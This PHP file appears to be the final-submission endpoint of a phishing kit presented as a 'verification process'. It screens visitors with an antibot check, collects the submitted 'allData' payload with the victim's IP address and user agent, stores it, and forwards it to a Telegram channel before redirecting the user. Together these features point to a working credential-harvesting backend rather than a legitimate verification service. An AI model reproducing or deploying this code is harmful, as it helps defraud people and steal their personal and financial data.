<?php
/**
 * API Endpoint - Submit Final Data
 * Handles completion of the verification process
 */

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');

// Include required files
require_once '../config.php';
require_once '../antibot.php';
require_once '../data-handler.php';
require_once '../telegram.php';

// Load configuration
$config = include '../config.php';

// Initialize AntiBot protection
$antibot = new AntiBot($config);

// Check if antibot protection is enabled
if (!$antibot->protect()) {
    http_response_code(403);
    echo json_encode(['success' => false, 'message' => 'Access denied']);
    exit;
}

// Check request method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['success' => false, 'message' => 'Method not allowed']);
    exit;
}

// Get JSON input
$input = json_decode(file_get_contents('php://input'), true);

if (!$input) {
    http_response_code(400);
    echo json_encode(['success' => false, 'message' => 'Invalid JSON data']);
    exit;
}

// Validate required fields
if (!isset($input['sessionId']) || !isset($input['allData'])) {
    http_response_code(400);
    echo json_encode(['success' => false, 'message' => 'Missing required fields']);
    exit;
}

$sessionId = $input['sessionId'];
$allData = $input['allData'];

try {
    // Initialize data handler
    $dataHandler = new SimpleDataHandler($config);
    
    // Initialize Telegram notifier
    $telegram = new TelegramNotifier($config, $dataHandler);
    
    // Get client information
    $clientIP = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // Get location data
    $locationData = [
        'ip' => $clientIP,
        'country' => 'United States',
        'state' => 'California', 
        'city' => 'Los Angeles',
        'user_agent' => $userAgent
    ];
    
    // Save complete verification data
    $success = $dataHandler->saveCompleteVerification($sessionId, $allData, $locationData);
    
    if ($success) {
        // Send completion notification
        $telegram->sendCompletionNotification($sessionId, $allData);
        
        // Log successful completion
        $dataHandler->logSecurityEvent($clientIP, $userAgent, 'verification_completed', 'All sections completed successfully');
        
        // Prepare response
        $response = [
            'success' => true,
            'message' => 'Verification completed successfully',
            'sessionId' => $sessionId,
            'completedAt' => date('Y-m-d H:i:s'),
            'redirectUrl' => $config['redirect']['success_url']
        ];
        
        echo json_encode($response);
    } else {
        throw new Exception('Failed to save complete verification data');
    }
    
} catch (Exception $e) {
    error_log("Final Submission Error: " . $e->getMessage());
    
    // Log error
    if (isset($dataHandler)) {
        $dataHandler->logSecurityEvent($clientIP ?? '0.0.0.0', $userAgent ?? '', 'final_submission_error', $e->getMessage());
    }
    
    http_response_code(500);
    echo json_encode([
        'success' => false,
        'message' => 'An error occurred while completing verification'
    ]);
}
?>
